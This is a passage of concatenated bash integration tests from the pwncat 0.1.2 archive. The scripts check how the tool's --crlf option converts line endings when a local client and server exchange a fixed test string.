"${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "1" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "2" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "3" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -v " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "4" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "5" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvv " "6" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vv " "7" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -v " "8" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr " "9" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvv " "10" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vv " "11" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -v " "${RHOST} ${RPORT} --no-shutdown --crlf cr -v " "12" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr " "${RHOST} ${RPORT} --no-shutdown --crlf cr " "13" "13" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/21-options---crlf/402---tcp---client_crlf_cr---server_sends_crlf.sh000077500000000000000000000150211414025024700322040ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="$(tmp_file)" printf "abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" > "${data}" expect="abcdefghijklmnopqrstuvwxyz1234567890\\r" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/4) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/4) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/4) Transfer: Server -> Client" # [SERVER -> Client] wait_for_data_transferred "" "${expect}" "" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # TEST: Errors # -------------------------------------------------------------------------------- print_h2 "(4/4) Test: Errors" # [SERVER] Ensure Server has has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" kill_pid "${cli_pid}" kill -9 "${srv_pid}" >/dev/null 2>/dev/null || true } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do echo # server opts client opts run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "1" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "2" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "3" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -v " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "4" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "5" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvv " "6" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vv " "7" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -v " "8" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr " "9" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvv " "10" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vv " "11" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -v " "${RHOST} ${RPORT} --no-shutdown --crlf cr -v " "12" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr " "${RHOST} ${RPORT} --no-shutdown --crlf cr " "13" "13" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/21-options---crlf/500---tcp---server_crlf_cr---client_sends_lf.sh000077500000000000000000000150161414025024700316620ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="$(tmp_file)" printf "abcdefghijklmnopqrstuvwxyz1234567890\\n" > "${data}" expect="abcdefghijklmnopqrstuvwxyz1234567890\\r" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/4) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/4) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/4) Transfer: Client -> Server" # [CLIENT -> SERVER] wait_for_data_transferred "" "${expect}" "" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # TEST: Errors # -------------------------------------------------------------------------------- print_h2 "(4/4) Test: Errors" # [SERVER] Ensure Server has has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" kill_pid "${cli_pid}" kill -9 "${srv_pid}" >/dev/null 2>/dev/null || true } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do echo # server opts client opts run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "1" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "2" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "3" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -v " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "4" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "5" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvv " "6" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vv " "7" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -v " "8" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr " "9" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvv " "10" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vv " "11" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -v " "${RHOST} ${RPORT} --no-shutdown --crlf cr -v " "12" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr " "${RHOST} ${RPORT} --no-shutdown --crlf cr " "13" "13" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/21-options---crlf/501---tcp---server_crlf_cr---client_sends_cr.sh000077500000000000000000000150161414025024700316660ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="$(tmp_file)" printf "abcdefghijklmnopqrstuvwxyz1234567890\\r" > "${data}" expect="abcdefghijklmnopqrstuvwxyz1234567890\\r" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/4) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/4) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/4) Transfer: Client -> Server" # [CLIENT -> SERVER] wait_for_data_transferred "" "${expect}" "" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # TEST: Errors # -------------------------------------------------------------------------------- print_h2 "(4/4) Test: Errors" # [SERVER] Ensure Server has has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" kill_pid "${cli_pid}" kill -9 "${srv_pid}" >/dev/null 2>/dev/null || true } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do echo # server opts client opts run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "1" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "2" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "3" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -v " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "4" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "5" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvv " "6" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vv " "7" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -v " "8" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr " "9" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvv " "10" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vv " "11" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -v " "${RHOST} ${RPORT} --no-shutdown --crlf cr -v " "12" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr " "${RHOST} ${RPORT} --no-shutdown --crlf cr " "13" "13" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/21-options---crlf/502---tcp---server_crlf_cr---client_sends_crlf.sh000077500000000000000000000150211414025024700322050ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="$(tmp_file)" printf "abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" > "${data}" expect="abcdefghijklmnopqrstuvwxyz1234567890\\r" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/4) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/4) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/4) Transfer: Client -> Server" # [CLIENT -> SERVER] wait_for_data_transferred "" "${expect}" "" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # TEST: Errors # -------------------------------------------------------------------------------- print_h2 "(4/4) Test: Errors" # [SERVER] Ensure Server has has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" kill_pid "${cli_pid}" kill -9 "${srv_pid}" >/dev/null 2>/dev/null || true } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do echo # server opts client opts run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "1" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "2" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "3" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -v " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "4" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "5" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvv " "6" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vv " "7" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -v " "8" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr " "9" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvv " "10" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -vv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vv " "11" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr -v " "${RHOST} ${RPORT} --no-shutdown --crlf cr -v " "12" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf cr " "${RHOST} ${RPORT} --no-shutdown --crlf cr " "13" "13" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/21-options---crlf/600---tcp---client_crlf_no---server_sends_lf.sh000077500000000000000000000150131414025024700316700ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="$(tmp_file)" printf "abcdefghijklmnopqrstuvwxyz1234567890\\n" > "${data}" expect="abcdefghijklmnopqrstuvwxyz1234567890" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # 